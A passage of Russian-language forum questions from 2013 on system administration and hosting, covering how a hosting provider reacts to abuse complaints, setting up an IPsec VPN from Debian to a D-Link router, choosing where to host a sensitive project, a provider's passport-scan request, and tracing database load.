3. Сразу блокирует доступ к серверу или как-то связывается со мной.

4. На сколько адекватны его разбирательства с жалобой и быстро ли разблокируется сервер.


А вопрос, какой жалобой это лучше проверить? Авторские права на размещенный контент? Рассылка спама?


У кого какой опыт?
 

2013.10.25, 08:08:34   #Системное администрирование - #49132


Вопрос следующий.
В головном офисе стоит сконфигурированный маршрутизатор d-link dfl-800, на котором поднят VPN через IPseс с использованием pre-shared key.
Внешний адрес 192.168.10.1
Внутренний адрес 192.168.0.1

В филиалах стоят маршрутизаторы того-же семейства, но dfl-210. Соответственно прокинут туннель между офисами. Все работает отлично. Настройки на роутерах филиалов простейшие.

Сейчас появилась необходимость в замене роутера, в одном из филиалов, на полноценный сервер. Собрали машинку, запилили маршрутизацию, повесили кальмара, ну и все, что нужно… После этого появилась необходимость поднять VPN клиент для подключения типа сеть-сеть к маршрутизатору головного офиса. И понеслись танцы с бубнами.

На сервере стоит debian 7. Есть 2 сетевых интерфейса (внешний и внутренний). Какие инструменты использовать для подключения к VPN шлюзу и организации простой сети «сеть — сеть».
Пытался использовать openswan, но так и не смог найти нормального рабочего конфига.
 

2013.10.26, 19:04:09   #Хостинг - #49238


Есть задача разместить проект с обильным контентом, пользователями и щекотливой информацией. Всё делается с ориентацией на долгосрочность и дальнейшее продвижение через проект своих продуктов. Как в современных условиях правильнее выбрать стратегию размещения.
Пока рассматриваю такие варианты:
1) Имя покупаем у наших регистраторов, сервер размещаем дома, у провайдера берём статик айпи. Имя привязываем к этому айпи.
2) Имя покупаем у зарубежных регистраторов, сервер размещаем дома, у провайдера берём статик айпи. Имя привязываем к этому айпи.
3) Имя покупаем у зарубежных регистраторов и у них же там арендуем сервер.
4) Имя покупаем у зарубежных регистраторов. Находим зарубежного френда, он берёт статику, Привязываем имя к его статике. Сервер естественно размещаем у него (во всяком случае зеркало).

Какой из этих вариантов надёжнее, и есть ли другие, более надёжные? Заранее всем спасибо за внимание.
 

2013.10.31, 17:22:55   #Хостинг - #49532


Понадобилось мне сменить номер телефона, привязанный к аккаунту FirstVDS. В данный момент веду переписку с поддержкой и они настойчиво требуют выслать им скан моего паспорта. Объясняют это тем, что им нужно убедиться что запрос делает именно владелец аккаунта, а не третье лицо.

Делиться моими персональными данными не в моей привычке, поэтому никаких сканов я высылать не хочу. Тем более что при регистрации аккаунта не указывались паспортные данные. Очевидно, что скан паспорта подтвердит им мою личность не более чем обертка от шоколадки Аленушка. Сейчас у меня полный доступ к аккаунту и email на который аккаунт был зарегистрирован.

Подскажите, как грамотно их послать и добиться изменения номера телефона?
 

2013.11.01, 01:14:14   #Хостинг - #49558


Недавно резко возникла проблема на хостинге — статистика использования ресурсов в контрольной панели стала показывать огромную нагрузку на сервер баз данных. Сайт сам по себе не особо посещаемый — до 100 хостов и 500 хитов в день. Никаких работ с сайтом в последнее время не проводилось.
Подскажите, как можно отследить в чем именно нагрузка, чтобы исправить ситуацию